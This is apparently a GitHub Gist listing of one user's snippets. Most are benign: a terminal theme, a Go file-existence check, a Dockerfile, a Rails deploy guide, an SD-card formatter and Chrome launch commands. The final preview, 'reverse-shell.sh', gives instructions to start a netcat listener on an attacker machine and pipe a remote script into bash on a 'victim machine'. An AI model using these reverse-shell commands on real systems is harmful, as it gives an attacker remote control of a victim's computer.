Skip to content

Instantly share code, notes, and snippets.

@mattes
mattes / everforest-soft-dark
Created October 30, 2026 04:35
rex everforest-soft theme
# Everforest Soft Dark
# https://github.com/sainnhe/everforest
background = #333c43
foreground = #d3c6aa
cursor-color = #d3c6aa
cursor-text = #333c43
selection-background = #4d5960
selection-foreground = #d3c6aa
palette = 0=#4d5960
palette = 1=#e67e80
@mattes
mattes / make-a-call.alfredworkflow
Last active August 6, 2026 16:40
Place a call from Alfred using your iPhone (Mac OS X Yosemite & iOS 8)
@mattes
mattes / check.go
Last active June 6, 2026 21:11
Check if file or directory exists in Golang
if _, err := os.Stat("/path/to/whatever"); os.IsNotExist(err) {
// path/to/whatever does not exist
}
if _, err := os.Stat("/path/to/whatever"); !os.IsNotExist(err) {
// path/to/whatever exists
}
@mattes
mattes / call
Last active March 24, 2026 07:50
Place a call from terminal using your iPhone (Mac OS X Yosemite & iOS 8)
#!/usr/bin/env sh
open "tel://$*"
# using VirtualBox version $VBOX_VERSION
FROM boot2docker/boot2docker
RUN apt-get install p7zip-full
RUN mkdir -p /vboxguest && \
cd /vboxguest && \
curl -L -o vboxguest.iso http://download.virtualbox.org/virtualbox/$VBOX_VERSION/VBoxGuestAdditions_$VBOX_VERSION.iso && \
7z x vboxguest.iso -ir'!VBoxLinuxAdditions.run' && \
sh VBoxLinuxAdditions.run --noexec --target . && \
{
"hello": "world"
}
@mattes
mattes / rails-google-compute-deploy.md
Last active July 29, 2024 04:08
My own Heroku in 30 mins

Deploy Rails apps to Google Cloud Compute Engine

  • Zero Downtime
  • Graceful shutdowns
  • Via Github Actions
  • Zero infrastructure management overhead

Overview

The general idea is to have Github Actions test, build and deploy a Rails app to Google Cloud Compute Engine.

@mattes
mattes / mkcard.sh
Created October 22, 2012 19:47
format sd card for arch linux and others
#!/bin/bash
# Quelle: http://omappedia.org/wiki/Minimal-FS_SD_Configuration, 06.06.2012
if [ ! "$1" = "/dev/sda" ] ; then
unset LANG
DRIVE=$1
if [ -b "$DRIVE" ] ; then
dd if=/dev/zero of=$DRIVE bs=1024 count=1024
SIZE=`fdisk -l $DRIVE | grep Disk | awk '{print $5}'`
echo DISK SIZE - $SIZE bytes
CYLINDERS=`echo $SIZE/255/63/512 | bc`
@mattes
mattes / gist:40b5fac8231ca567e94416e7c88d2c10
Last active April 29, 2024 01:59
Multiple Google Chrome instances on MacOS
# http://peter.sh/experiments/chromium-command-line-switches/
mkdir -p /tmp/t1
open -na "Google Chrome" --args --user-data-dir=/tmp/t1 --remote-debugging-port=9222
# protip: press cmd+h to hide window
@mattes
mattes / reverse-shell.sh
Last active March 31, 2024 20:28
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls